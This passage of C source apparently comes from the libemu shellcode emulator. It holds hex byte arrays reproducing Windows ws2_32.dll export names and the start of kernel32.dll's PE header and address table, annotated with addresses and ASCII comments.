"\x6F\x76\x69\x64\x65\x72\x73\x41\x00\x57\x53\x41\x45\x6E\x75\x6D" // ovidersA.WSAEnum /* 71A12080 */ "\x4E\x61\x6D\x65\x53\x70\x61\x63\x65\x50\x72\x6F\x76\x69\x64\x65" // NameSpaceProvide /* 71A12090 */ "\x72\x73\x57\x00\x57\x53\x41\x45\x6E\x75\x6D\x4E\x65\x74\x77\x6F" // rsW.WSAEnumNetwo /* 71A120A0 */ "\x72\x6B\x45\x76\x65\x6E\x74\x73\x00\x57\x53\x41\x45\x6E\x75\x6D" // rkEvents.WSAEnum /* 71A120B0 */ "\x50\x72\x6F\x74\x6F\x63\x6F\x6C\x73\x41\x00\x57\x53\x41\x45\x6E" // ProtocolsA.WSAEn /* 71A120C0 */ "\x75\x6D\x50\x72\x6F\x74\x6F\x63\x6F\x6C\x73\x57\x00\x57\x53\x41" // umProtocolsW.WSA /* 71A120D0 */ "\x45\x76\x65\x6E\x74\x53\x65\x6C\x65\x63\x74\x00\x57\x53\x41\x47" // EventSelect.WSAG /* 71A120E0 */ "\x65\x74\x4C\x61\x73\x74\x45\x72\x72\x6F\x72\x00\x57\x53\x41\x47" // etLastError.WSAG /* 71A120F0 */ "\x65\x74\x4F\x76\x65\x72\x6C\x61\x70\x70\x65\x64\x52\x65\x73\x75" // etOverlappedResu /* 71A12100 */ "\x6C\x74\x00\x57\x53\x41\x47\x65\x74\x51\x4F\x53\x42\x79\x4E\x61" // lt.WSAGetQOSByNa /* 71A12110 */ "\x6D\x65\x00\x57\x53\x41\x47\x65\x74\x53\x65\x72\x76\x69\x63\x65" // me.WSAGetService /* 71A12120 */ "\x43\x6C\x61\x73\x73\x49\x6E\x66\x6F\x41\x00\x57\x53\x41\x47\x65" // ClassInfoA.WSAGe /* 71A12130 */ "\x74\x53\x65\x72\x76\x69\x63\x65\x43\x6C\x61\x73\x73\x49\x6E\x66" // tServiceClassInf /* 71A12140 */ "\x6F\x57\x00\x57\x53\x41\x47\x65\x74\x53\x65\x72\x76\x69\x63\x65" // oW.WSAGetService /* 71A12150 */ "\x43\x6C\x61\x73\x73\x4E\x61\x6D\x65\x42\x79\x43\x6C\x61\x73\x73" // ClassNameByClass /* 71A12160 */ "\x49\x64\x41\x00\x57\x53\x41\x47\x65\x74\x53\x65\x72\x76\x69\x63" // IdA.WSAGetServic /* 71A12170 */ "\x65\x43\x6C\x61\x73\x73\x4E\x61\x6D\x65\x42\x79\x43\x6C\x61\x73" // eClassNameByClas /* 71A12180 */ "\x73\x49\x64\x57\x00\x57\x53\x41\x48\x74\x6F\x6E\x6C\x00\x57\x53" // sIdW.WSAHtonl.WS /* 71A12190 */ "\x41\x48\x74\x6F\x6E\x73\x00\x57\x53\x41\x49\x6E\x73\x74\x61\x6C" // AHtons.WSAInstal /* 71A121A0 */ "\x6C\x53\x65\x72\x76\x69\x63\x65\x43\x6C\x61\x73\x73\x41\x00\x57" // lServiceClassA.W /* 71A121B0 */ "\x53\x41\x49\x6E\x73\x74\x61\x6C\x6C\x53\x65\x72\x76\x69\x63\x65" // SAInstallService /* 71A121C0 */ "\x43\x6C\x61\x73\x73\x57\x00\x57\x53\x41\x49\x6F\x63\x74\x6C\x00" // ClassW.WSAIoctl. /* 71A121D0 */ "\x57\x53\x41\x49\x73\x42\x6C\x6F\x63\x6B\x69\x6E\x67\x00\x57\x53" // WSAIsBlocking.WS /* 71A121E0 */ "\x41\x4A\x6F\x69\x6E\x4C\x65\x61\x66\x00\x57\x53\x41\x4C\x6F\x6F" // AJoinLeaf.WSALoo /* 71A121F0 */ "\x6B\x75\x70\x53\x65\x72\x76\x69\x63\x65\x42\x65\x67\x69\x6E\x41" // kupServiceBeginA /* 71A12200 */ "\x00\x57\x53\x41\x4C\x6F\x6F\x6B\x75\x70\x53\x65\x72\x76\x69\x63" // .WSALookupServic /* 71A12210 */ "\x65\x42\x65\x67\x69\x6E\x57\x00\x57\x53\x41\x4C\x6F\x6F\x6B\x75" // eBeginW.WSALooku /* 71A12220 */ "\x70\x53\x65\x72\x76\x69\x63\x65\x45\x6E\x64\x00\x57\x53\x41\x4C" // pServiceEnd.WSAL /* 71A12230 */ "\x6F\x6F\x6B\x75\x70\x53\x65\x72\x76\x69\x63\x65\x4E\x65\x78\x74" // ookupServiceNext /* 71A12240 */ "\x41\x00\x57\x53\x41\x4C\x6F\x6F\x6B\x75\x70\x53\x65\x72\x76\x69" // A.WSALookupServi /* 71A12250 */ "\x63\x65\x4E\x65\x78\x74\x57\x00\x57\x53\x41\x4E\x53\x50\x49\x6F" // ceNextW.WSANSPIo /* 71A12260 */ "\x63\x74\x6C\x00\x57\x53\x41\x4E\x74\x6F\x68\x6C\x00\x57\x53\x41" // ctl.WSANtohl.WSA /* 71A12270 */ "\x4E\x74\x6F\x68\x73\x00\x57\x53\x41\x50\x72\x6F\x76\x69\x64\x65" // Ntohs.WSAProvide /* 71A12280 */ "\x72\x43\x6F\x6E\x66\x69\x67\x43\x68\x61\x6E\x67\x65\x00\x57\x53" // rConfigChange.WS /* 71A12290 */ "\x41\x52\x65\x63\x76\x00\x57\x53\x41\x52\x65\x63\x76\x44\x69\x73" // ARecv.WSARecvDis /* 71A122A0 */ "\x63\x6F\x6E\x6E\x65\x63\x74\x00\x57\x53\x41\x52\x65\x63\x76\x46" // connect.WSARecvF /* 71A122B0 */ "\x72\x6F\x6D\x00\x57\x53\x41\x52\x65\x6D\x6F\x76\x65\x53\x65\x72" // rom.WSARemoveSer /* 71A122C0 */ "\x76\x69\x63\x65\x43\x6C\x61\x73\x73\x00\x57\x53\x41\x52\x65\x73" // viceClass.WSARes /* 71A122D0 */ "\x65\x74\x45\x76\x65\x6E\x74\x00\x57\x53\x41\x53\x65\x6E\x64\x00" // etEvent.WSASend. /* 71A122E0 */ "\x57\x53\x41\x53\x65\x6E\x64\x44\x69\x73\x63\x6F\x6E\x6E\x65\x63" // WSASendDisconnec /* 71A122F0 */ "\x74\x00\x57\x53\x41\x53\x65\x6E\x64\x54\x6F\x00\x57\x53\x41\x53" // t.WSASendTo.WSAS /* 71A12300 */ "\x65\x74\x42\x6C\x6F\x63\x6B\x69\x6E\x67\x48\x6F\x6F\x6B\x00\x57" // etBlockingHook.W /* 71A12310 */ "\x53\x41\x53\x65\x74\x45\x76\x65\x6E\x74\x00\x57\x53\x41\x53\x65" // SASetEvent.WSASe /* 71A12320 */ "\x74\x4C\x61\x73\x74\x45\x72\x72\x6F\x72\x00\x57\x53\x41\x53\x65" // tLastError.WSASe /* 71A12330 */ "\x74\x53\x65\x72\x76\x69\x63\x65\x41\x00\x57\x53\x41\x53\x65\x74" // tServiceA.WSASet /* 71A12340 */ "\x53\x65\x72\x76\x69\x63\x65\x57\x00\x57\x53\x41\x53\x6F\x63\x6B" // ServiceW.WSASock /* 71A12350 */ "\x65\x74\x41\x00\x57\x53\x41\x53\x6F\x63\x6B\x65\x74\x57\x00\x57" // etA.WSASocketW.W /* 71A12360 */ "\x53\x41\x53\x74\x61\x72\x74\x75\x70\x00\x57\x53\x41\x53\x74\x72" // SAStartup.WSAStr /* 71A12370 */ "\x69\x6E\x67\x54\x6F\x41\x64\x64\x72\x65\x73\x73\x41\x00\x57\x53" // ingToAddressA.WS /* 71A12380 */ "\x41\x53\x74\x72\x69\x6E\x67\x54\x6F\x41\x64\x64\x72\x65\x73\x73" // AStringToAddress /* 71A12390 */ "\x57\x00\x57\x53\x41\x55\x6E\x68\x6F\x6F\x6B\x42\x6C\x6F\x63\x6B" // W.WSAUnhookBlock /* 71A123A0 */ "\x69\x6E\x67\x48\x6F\x6F\x6B\x00\x57\x53\x41\x57\x61\x69\x74\x46" // ingHook.WSAWaitF /* 71A123B0 */ "\x6F\x72\x4D\x75\x6C\x74\x69\x70\x6C\x65\x45\x76\x65\x6E\x74\x73" // orMultipleEvents /* 71A123C0 */ "\x00\x57\x53\x41\x70\x53\x65\x74\x50\x6F\x73\x74\x52\x6F\x75\x74" // .WSApSetPostRout /* 71A123D0 */ "\x69\x6E\x65\x00\x57\x53\x43\x44\x65\x69\x6E\x73\x74\x61\x6C\x6C" // ine.WSCDeinstall /* 71A123E0 */ "\x50\x72\x6F\x76\x69\x64\x65\x72\x00\x57\x53\x43\x45\x6E\x61\x62" // Provider.WSCEnab /* 71A123F0 */ "\x6C\x65\x4E\x53\x50\x72\x6F\x76\x69\x64\x65\x72\x00\x57\x53\x43" // leNSProvider.WSC /* 71A12400 */ "\x45\x6E\x75\x6D\x50\x72\x6F\x74\x6F\x63\x6F\x6C\x73\x00\x57\x53" // EnumProtocols.WS /* 71A12410 */ "\x43\x47\x65\x74\x50\x72\x6F\x76\x69\x64\x65\x72\x50\x61\x74\x68" // CGetProviderPath /* 71A12420 */ "\x00\x57\x53\x43\x49\x6E\x73\x74\x61\x6C\x6C\x4E\x61\x6D\x65\x53" // .WSCInstallNameS /* 71A12430 */ "\x70\x61\x63\x65\x00\x57\x53\x43\x49\x6E\x73\x74\x61\x6C\x6C\x50" // pace.WSCInstallP /* 71A12440 */ "\x72\x6F\x76\x69\x64\x65\x72\x00\x57\x53\x43\x55\x6E\x49\x6E\x73" // rovider.WSCUnIns /* 71A12450 */ "\x74\x61\x6C\x6C\x4E\x61\x6D\x65\x53\x70\x61\x63\x65\x00\x57\x53" // tallNameSpace.WS /* 71A12460 */ "\x43\x55\x70\x64\x61\x74\x65\x50\x72\x6F\x76\x69\x64\x65\x72\x00" // CUpdateProvider. /* 71A12470 */ "\x57\x53\x43\x57\x72\x69\x74\x65\x4E\x61\x6D\x65\x53\x70\x61\x63" // WSCWriteNameSpac /* 71A12480 */ "\x65\x4F\x72\x64\x65\x72\x00\x57\x53\x43\x57\x72\x69\x74\x65\x50" // eOrder.WSCWriteP /* 71A12490 */ "\x72\x6F\x76\x69\x64\x65\x72\x4F\x72\x64\x65\x72\x00\x5F\x5F\x57" // roviderOrder.__W /* 71A124A0 */ "\x53\x41\x46\x44\x49\x73\x53\x65\x74\x00\x61\x63\x63\x65\x70\x74" // SAFDIsSet.accept /* 71A124B0 */ "\x00\x62\x69\x6E\x64\x00\x63\x6C\x6F\x73\x65\x73\x6F\x63\x6B\x65" // .bind.closesocke /* 71A124C0 */ "\x74\x00\x63\x6F\x6E\x6E\x65\x63\x74\x00\x66\x72\x65\x65\x61\x64" // t.connect.freead /* 71A124D0 */ "\x64\x72\x69\x6E\x66\x6F\x00\x67\x65\x74\x61\x64\x64\x72\x69\x6E" // drinfo.getaddrin /* 71A124E0 */ "\x66\x6F\x00\x67\x65\x74\x68\x6F\x73\x74\x62\x79\x61\x64\x64\x72" // fo.gethostbyaddr /* 71A124F0 */ "\x00\x67\x65\x74\x68\x6F\x73\x74\x62\x79\x6E\x61\x6D\x65\x00\x67" // .gethostbyname.g /* 71A12500 */ "\x65\x74\x68\x6F\x73\x74\x6E\x61\x6D\x65\x00\x67\x65\x74\x6E\x61" // ethostname.getna /* 71A12510 */ "\x6D\x65\x69\x6E\x66\x6F\x00\x67\x65\x74\x70\x65\x65\x72\x6E\x61" // meinfo.getpeerna /* 71A12520 */ "\x6D\x65\x00\x67\x65\x74\x70\x72\x6F\x74\x6F\x62\x79\x6E\x61\x6D" // me.getprotobynam /* 71A12530 */ "\x65\x00\x67\x65\x74\x70\x72\x6F\x74\x6F\x62\x79\x6E\x75\x6D\x62" // e.getprotobynumb /* 71A12540 */ "\x65\x72\x00\x67\x65\x74\x73\x65\x72\x76\x62\x79\x6E\x61\x6D\x65" // er.getservbyname /* 71A12550 */ "\x00\x67\x65\x74\x73\x65\x72\x76\x62\x79\x70\x6F\x72\x74\x00\x67" // .getservbyport.g /* 71A12560 */ "\x65\x74\x73\x6F\x63\x6B\x6E\x61\x6D\x65\x00\x67\x65\x74\x73\x6F" // etsockname.getso /* 71A12570 */ "\x63\x6B\x6F\x70\x74\x00\x68\x74\x6F\x6E\x6C\x00\x68\x74\x6F\x6E" // ckopt.htonl.hton /* 71A12580 */ "\x73\x00\x69\x6E\x65\x74\x5F\x61\x64\x64\x72\x00\x69\x6E\x65\x74" // s.inet_addr.inet /* 71A12590 */ "\x5F\x6E\x74\x6F\x61\x00\x69\x6F\x63\x74\x6C\x73\x6F\x63\x6B\x65" // _ntoa.ioctlsocke /* 71A125A0 */ "\x74\x00\x6C\x69\x73\x74\x65\x6E\x00\x6E\x74\x6F\x68\x6C\x00\x6E" // t.listen.ntohl.n /* 71A125B0 */ "\x74\x6F\x68\x73\x00\x72\x65\x63\x76\x00\x72\x65\x63\x76\x66\x72" // tohs.recv.recvfr /* 71A125C0 */ "\x6F\x6D\x00\x73\x65\x6C\x65\x63\x74\x00\x73\x65\x6E\x64\x00\x73" // om.select.send.s /* 71A125D0 */ "\x65\x6E\x64\x74\x6F\x00\x73\x65\x74\x73\x6F\x63\x6B\x6F\x70\x74" // endto.setsockopt /* 71A125E0 */ "\x00\x73\x68\x75\x74\x64\x6F\x77\x6E\x00\x73\x6F\x63\x6B\x65\x74" // .shutdown.socket /* 71A125F0 */ "\x00\x90\x90\x90\x90\x90\x8B\xFF\x55\x8B\xEC\xFF\x75\x08\x6A\x00"; // .‹ÿU‹ìÿuj. libemu-0.2.0+git20120122+564/src/environment/win32/dlls/kernel32dll.c0000644000175300017530000064766211706767213023410 0ustar dt-npbdt-npbconst char kernel32_dll_7c800000[] = /* 7C800000 */ "\x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00" // MZ.......ÿÿ.. /* 7C800010 */ "\xB8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00" // ¸.......@....... /* 7C800020 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 7C800030 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE8\x00\x00\x00" // ............è... /* 7C800040 */ "\x0E\x1F\xBA\x0E\x00\xB4\x09\xCD\x21\xB8\x01\x4C\xCD\x21\x54\x68" // º.´.Í!¸LÍ!Th /* 7C800050 */ "\x69\x73\x20\x70\x72\x6F\x67\x72\x61\x6D\x20\x63\x61\x6E\x6E\x6F" // is program canno /* 7C800060 */ "\x74\x20\x62\x65\x20\x72\x75\x6E\x20\x69\x6E\x20\x44\x4F\x53\x20" // t be run in DOS /* 7C800070 */ "\x6D\x6F\x64\x65\x2E\x0D\x0D\x0A\x24\x00\x00\x00\x00\x00\x00\x00" // mode....$....... /* 7C800080 */ "\x17\x86\x20\xA4\x53\xE7\x4E\xF7\x53\xE7\x4E\xF7\x53\xE7\x4E\xF7" // † ¤SçN÷SçN÷SçN÷ /* 7C800090 */ "\x53\xE7\x4F\xF7\xDA\xE6\x4E\xF7\x90\xE8\x13\xF7\x50\xE7\x4E\xF7" // SçO÷ÚæN÷è÷PçN÷ /* 7C8000A0 */ "\x90\xE8\x12\xF7\x52\xE7\x4E\xF7\x90\xE8\x10\xF7\x52\xE7\x4E\xF7" // è÷RçN÷è÷RçN÷ /* 7C8000B0 */ "\x90\xE8\x41\xF7\x56\xE7\x4E\xF7\x90\xE8\x11\xF7\x8E\xE7\x4E\xF7" // èA÷VçN÷è÷ŽçN÷ /* 7C8000C0 */ "\x90\xE8\x2E\xF7\x57\xE7\x4E\xF7\x90\xE8\x14\xF7\x52\xE7\x4E\xF7" // è.÷WçN÷è÷RçN÷ /* 7C8000D0 */ "\x52\x69\x63\x68\x53\xE7\x4E\xF7\x00\x00\x00\x00\x00\x00\x00\x00" // RichSçN÷........ /* 7C8000E0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x50\x45\x00\x00\x4C\x01\x04\x00" // ........PE..L. /* 7C8000F0 */ "\x99\x9A\xAB\x44\x00\x00\x00\x00\x00\x00\x00\x00\xE0\x00\x0E\x21" // ™š«D........à.! /* 7C800100 */ "\x0B\x01\x07\x0A\x00\x20\x08\x00\x00\x00\x08\x00\x00\x00\x00\x00" // .. ........ /* 7C800110 */ "\xAE\xB5\x00\x00\x00\x10\x00\x00\x00\xF0\x07\x00\x00\x00\x80\x7C" // ®µ......ð...€| /* 7C800120 */ "\x00\x10\x00\x00\x00\x02\x00\x00\x05\x00\x01\x00\x05\x00\x01\x00" // .......... /* 7C800130 */ "\x04\x00\x00\x00\x00\x00\x00\x00\x00\x60\x10\x00\x00\x04\x00\x00" // ........`.... /* 7C800140 */ "\x82\xFA\x10\x00\x03\x00\x00\x00\x00\x00\x04\x00\x00\x10\x00\x00" // ‚ú.......... /* 7C800150 */ "\x00\x00\x10\x00\x00\x10\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00" // ............. /* 7C800160 */ "\x1C\x26\x00\x00\x7B\x6C\x00\x00\x70\x06\x08\x00\x28\x00\x00\x00" // &..{l..p.(... /* 7C800170 */ "\x00\x80\x08\x00\xC8\x7E\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00" // .€.È~......... /* 7C800180 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\xDC\x5B\x00\x00" // ...........Ü[.. /* 7C800190 */ "\x54\x2F\x08\x00\x38\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // T/.8........... /* 7C8001A0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 7C8001B0 */ "\x28\xE3\x04\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // (ã.@........... /* 7C8001C0 */ "\x00\x10\x00\x00\x20\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ... .......... /* 7C8001D0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 7C8001E0 */ "\x2E\x74\x65\x78\x74\x00\x00\x00\xB5\x1F\x08\x00\x00\x10\x00\x00" // .text...µ.... /* 7C8001F0 */ "\x00\x20\x08\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // . ............ /* 7C800200 */ "\x00\x00\x00\x00\x20\x00\x00\x60\x2E\x64\x61\x74\x61\x00\x00\x00" // .... ..`.data... /* 7C800210 */ "\xA0\x43\x00\x00\x00\x30\x08\x00\x00\x24\x00\x00\x00\x24\x08\x00" //  C...0..$...$. /* 7C800220 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\xC0" // ............@..À /* 7C800230 */ "\x2E\x72\x73\x72\x63\x00\x00\x00\xC8\x7E\x07\x00\x00\x80\x08\x00" // .rsrc...È~..€. /* 7C800240 */ "\x00\x80\x07\x00\x00\x48\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00" // .€..H......... /* 7C800250 */ "\x00\x00\x00\x00\x40\x00\x00\x40\x2E\x72\x65\x6C\x6F\x63\x00\x00" // ....@..@.reloc.. /* 7C800260 */ "\xDC\x5B\x00\x00\x00\x00\x10\x00\x00\x5C\x00\x00\x00\xC8\x0F\x00" // Ü[......\...È. /* 7C800270 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x42"; // ............@..B const char kernel32_dll_7c801000[] = /* 7C801000 */ "\x15\xA4\x92\x7C\x5D\xDA\x91\x7C\x82\xD6\x91\x7C\xD4\x05\x92\x7C" // ¤’|]ڑ|‚Ö‘|Ô’| /* 7C801010 */ "\x3D\x04\x92\x7C\xFD\xDC\x91\x7C\xDC\xDF\x91\x7C\x88\xDF\x91\x7C" // =’|ýܑ|Üߑ|ˆß‘| /* 7C801020 */ "\x28\x7C\x94\x7C\x41\xE1\x91\x7C\x5B\xE5\x91\x7C\xEA\xE6\x91\x7C" // (|”|Aá‘|[å‘|êæ‘| /* 7C801030 */ "\xD9\xE5\x91\x7C\xA1\x32\x92\x7C\xE3\xD8\x91\x7C\x86\xD5\x91\x7C" // Ùå‘|¡2’|ãØ‘|†Õ‘| /* 7C801040 */ "\xD6\x12\x91\x7C\x7E\xAE\x93\x7C\xD2\x36\x92\x7C\x5A\x03\x92\x7C" // Ö‘|~®“|Ò6’|Z’| /* 7C801050 */ "\x06\x01\x98\x7C\x3A\x25\x91\x7C\xFE\xE1\x91\x7C\x3C\xDD\x91\x7C" // ˜|:%‘|þá‘|<ݑ| /* 7C801060 */ "\xF4\xD9\x91\x7C\xBC\xE7\x91\x7C\xD6\xD6\x91\x7C\x3D\xFB\x91\x7C" // ôّ|¼ç‘|Ö֑|=û‘| /* 7C801070 */ "\x76\x09\x92\x7C\x77\x3C\x94\x7C\x8F\x0A\x92\x7C\xC6\x30\x92\x7C" // v.’|w<”|.’|Æ0’| /* 7C801080 */ "\xB3\xDC\x96\x7C\x10\xC0\x98\x7C\x4C\xF0\x91\x7C\x99\x12\x91\x7C" // ³Ü–|À˜|Lð‘|™‘| /* 7C801090 */ "\x91\x35\x92\x7C\x8A\x47\x92\x7C\x4A\x12\x93\x7C\x49\xED\x93\x7C" // ‘5’|ŠG’|J“|Ií“| /* 7C8010A0 */ "\x90\x38\x92\x7C\xB1\x41\x92\x7C\x0F\x43\x92\x7C\x1B\xE0\x91\x7C" // 8’|±A’|C’|à‘| /* 7C8010B0 */ "\xDE\x61\x93\x7C\x61\x09\x92\x7C\xCE\x33\x92\x7C\x1D\x09\x92\x7C" // Þa“|a.’|Î3’|.’| /* 7C8010C0 */ "\x76\x09\x92\x7C\xCE\x0E\x93\x7C\x0D\x24\x92\x7C\x53\xE7\x91\x7C" // v.’|Γ|.$’|Sç‘| /* 7C8010D0 */ "\x09\x89\x92\x7C\xAA\xE1\x91\x7C\xA9\xF8\x96\x7C\x29\xE7\x91\x7C" // .‰’|ªá‘|©ø–|)ç‘| /* 7C8010E0 */ "\x28\x65\x94\x7C\xD0\x19\x91\x7C\x30\x12\x91\x7C\x86\xAA\x92\x7C" // (e”|Б|0‘|†ª’| /* 7C8010F0 */ "\xA7\xA8\x92\x7C\x79\xA8\x92\x7C\x63\xAA\x92\x7C\x11\xAA\x92\x7C" // §¨’|y¨’|cª’|ª’| /* 7C801100 */ "\xB6\x36\x92\x7C\xB3\xAA\x92\x7C\xF0\x03\x94\x7C\x7B\xDD\x91\x7C" // ¶6’|³ª’|ð”|{ݑ| /* 7C801110 */ "\xC7\x05\x96\x7C\x1A\x08\x96\x7C\x89\x06\x96\x7C\xD9\x07\x96\x7C" // Ç–|–|‰–|Ù–| /* 7C801120 */ "\xC4\xE5\x91\x7C\xDE\x06\x96\x7C\x30\xE0\x91\x7C\x5C\x08\x96\x7C" // Äå‘|Þ–|0à‘|\–| /* 7C801130 */ "\x0D\x07\x96\x7C\x34\x07\x96\x7C\x59\x07\x96\x7C\xFD\x40\x92\x7C" // .–|4–|Y–|ý@’| /* 7C801140 */ "\xC0\x35\x92\x7C\xF2\xBF\x93\x7C\x21\xD4\x91\x7C\x02\xBE\x93\x7C" // À5’|ò¿“|!ԑ|¾“| /* 7C801150 */ "\xB5\xD9\x91\x7C\x36\x84\x93\x7C\x65\xD8\x91\x7C\xDD\xB4\x93\x7C" // µÙ‘|6„“|eؑ|Ý´“| /* 7C801160 */ "\xC7\xDF\x91\x7C\x95\xC0\x93\x7C\x59\x64\x93\x7C\xCB\xF1\x91\x7C" // Çߑ|•À“|Yd“|Ëñ‘| /* 7C801170 */ "\x9B\x2F\x92\x7C\x94\x97\x93\x7C\x10\x42\x92\x7C\xED\x10\x91\x7C" // ›/’|”—“|B’|í‘| /* 7C801180 */ "\x05\x10\x91\x7C\x76\xD9\x91\x7C\x64\x94\x93\x7C\x7C\xE2\x91\x7C" // ‘|vّ|d”“||â‘| /* 7C801190 */ "\xDE\xD4\x91\x7C\x36\xE9\x91\x7C\xAD\xDB\x91\x7C\xB7\x4D\x92\x7C" // Þԑ|6é‘|­Û‘|·M’| /* 7C8011A0 */ "\x42\x4D\x92\x7C\xE1\x4C\x92\x7C\x48\xDA\x91\x7C\xF3\xE9\x91\x7C" // BM’|áL’|Hڑ|óé‘| /* 7C8011B0 */ "\x4A\x39\x92\x7C\x21\x4E\x92\x7C\xDF\x47\x92\x7C\x0D\xD9\x91\x7C" // J9’|!N’|ßG’|.ّ| /* 7C8011C0 */ "\x99\xE0\x91\x7C\x4C\xD9\x91\x7C\xCE\xD8\x91\x7C\x9F\x80\x93\x7C" // ™à‘|Lّ|ÎØ‘|Ÿ€“| /* 7C8011D0 */ "\x4F\xEB\x92\x7C\x06\x07\x93\x7C\xA7\xEB\x92\x7C\x80\x2C\x91\x7C" // Oë’|“|§ë’|€,‘| /* 7C8011E0 */ "\x81\xB6\x93\x7C\xF0\x08\x92\x7C\xEC\x73\x93\x7C\x08\xEC\x92\x7C" // ¶“|ð’|ìs“|ì’| /* 7C8011F0 */ "\xD8\xE0\x91\x7C\x67\x8F\x94\x7C\xF6\x2F\x91\x7C\x73\xDF\x91\x7C" // Øà‘|g”|ö/‘|sߑ| /* 7C801200 */ "\x6B\xE1\x91\x7C\xE4\xDD\x91\x7C\xBE\xDC\x91\x7C\x97\xD6\x91\x7C" // ká‘|äݑ|¾Ü‘|—Ö‘| /* 7C801210 */ "\x81\xE6\x91\x7C\x0F\xE3\x91\x7C\x2D\xE6\x91\x7C\x5E\xDF\x91\x7C" // æ‘|ã‘|-æ‘|^ߑ| /* 7C801220 */ "\x8A\x18\x92\x7C\x7F\xDC\x91\x7C\xB4\xE9\x91\x7C\x2D\x1B\x92\x7C" // Š’|ܑ|´é‘|-’| /* 7C801230 */ "\x28\xE2\x91\x7C\xCA\xD9\x91\x7C\xFA\x11\x91\x7C\xB5\x11\x91\x7C" // (â‘|Êّ|ú‘|µ‘| /* 7C801240 */ "\x47\xD5\x91\x7C\x91\xE2\x91\x7C\x08\xEA\x91\x7C\x73\x34\x92\x7C" // GՑ|‘â‘|ê‘|s4’| /* 7C801250 */ "\xBA\xDD\x91\x7C\x55\xDC\x91\x7C\x09\xDA\x91\x7C\xFC\x2B\x97\x7C" // ºÝ‘|Uܑ|.ڑ|ü+—| /* 7C801260 */ "\x60\xE9\x91\x7C\x93\xD7\x91\x7C\xB2\xDF\x91\x7C\x03\xA7\x92\x7C" // `é‘|“ב|²ß‘|§’| /* 7C801270 */ "\xE0\xDE\x91\x7C\x9F\x39\x92\x7C\x67\xE2\x91\x7C\x95\xE1\x91\x7C" // àޑ|Ÿ9’|gâ‘|•á‘| /* 7C801280 */ "\x07\x6B\x93\x7C\x14\xE7\x91\x7C\x5C\x12\x91\x7C\x8B\x37\x92\x7C" // k“|ç‘|\‘|‹7’| /* 7C801290 */ "\x61\xB7\x92\x7C\x57\x38\x92\x7C\x0C\xB7\x92\x7C\x23\x37\x92\x7C" // a·’|W8’|.·’|#7’| /* 7C8012A0 */ "\xED\x09\x92\x7C\xB8\x94\x92\x7C\xFD\x79\x92\x7C\xF5\x37\x92\x7C" // í.’|¸”’|ýy’|õ7’| /* 7C8012B0 */ "\xA1\xC4\x93\x7C\x49\x08\x92\x7C\xB6\xDE\x91\x7C\x13\xE2\x91\x7C" // ¡Ä“|I’|¶Þ‘|â‘| /* 7C8012C0 */ "\xEC\xDB\x91\x7C\x4B\xE9\x91\x7C\xDF\xD9\x91\x7C\xB4\xD4\x91\x7C" // ìۑ|Ké‘|ßّ|´Ô‘| /* 7C8012D0 */ "\x33\xDA\x91\x7C\x2B\xDC\x91\x7C\x40\xDC\x91\x7C\xB1\xDA\x91\x7C" // 3ڑ|+ܑ|@ܑ|±Ú‘| /* 7C8012E0 */ "\x20\xE4\x91\x7C\x18\xE6\x91\x7C\x7A\x8E\x92\x7C\x91\x17\x93\x7C" // ä‘|æ‘|zŽ’|‘“| /* 7C8012F0 */ "\x80\x27\x93\x7C\x4B\x27\x93\x7C\xC1\x27\x93\x7C\x17\x39\x92\x7C" // €'“|K'“|Á'“|9’| /* 7C801300 */ "\x74\x33\x92\x7C\x59\xA3\x92\x7C\x2A\x55\x93\x7C\x96\x5D\x93\x7C" // t3’|Y£’|*U“|–]“| /* 7C801310 */ "\xD9\xFD\x96\x7C\x75\xFC\x96\x7C\xE8\x0C\x97\x7C\x18\x0A\x97\x7C" // Ùý–|uü–|è.—|.—| /* 7C801320 */ "\xE1\xFF\x96\x7C\x21\x01\x97\x7C\x46\x2C\x94\x7C\xAB\x09\x97\x7C" // áÿ–|!—|F,”|«.—| /* 7C801330 */ "\x83\x71\x93\x7C\x25\x35\x91\x7C\xEB\xD6\x91\x7C\x00\x98\x93\x7C" // ƒq“|%5‘|ë֑|.˜“| /* 7C801340 */ "\x55\x6B\x94\x7C\x8B\x71\x92\x7C\x29\xA0\x92\x7C\xAB\xDD\x92\x7C" // Uk”|‹q’|) ’|«Ý’| /* 7C801350 */ "\x01\xED\x91\x7C\x86\x65\x92\x7C\x29\x32\x92\x7C\x19\x76\x94\x7C" // í‘|†e’|)2’|v”| /* 7C801360 */ "\x63\x1C\x96\x7C\x4C\x85\x94\x7C\x71\x31\x92\x7C\x39\x9D\x92\x7C" // c–|L…”|q1’|9’| /* 7C801370 */ "\xDD\xB2\x93\x7C\x8F\x19\x93\x7C\x61\x8C\x92\x7C\xD5\x2C\x92\x7C" // ݲ“|“|aŒ’|Õ,’| /* 7C801380 */ "\xA3\x57\x92\x7C\xCA\x61\x92\x7C\x88\x9B\x92\x7C\x81\x2C\x92\x7C" // £W’|Êa’|ˆ›’|,’| /* 7C801390 */ "\xA2\x2C\x92\x7C\x35\xC9\x92\x7C\x56\x08\x92\x7C\x74\x33\x92\x7C" // ¢,’|5ɒ|V’|t3’| /* 7C8013A0 */ "\x42\xE6\x91\x7C\x0E\xDE\x91\x7C\x15\xD7\x91\x7C\x35\x26\x96\x7C" // Bæ‘|ޑ|ב|5&–| /* 7C8013B0 */ 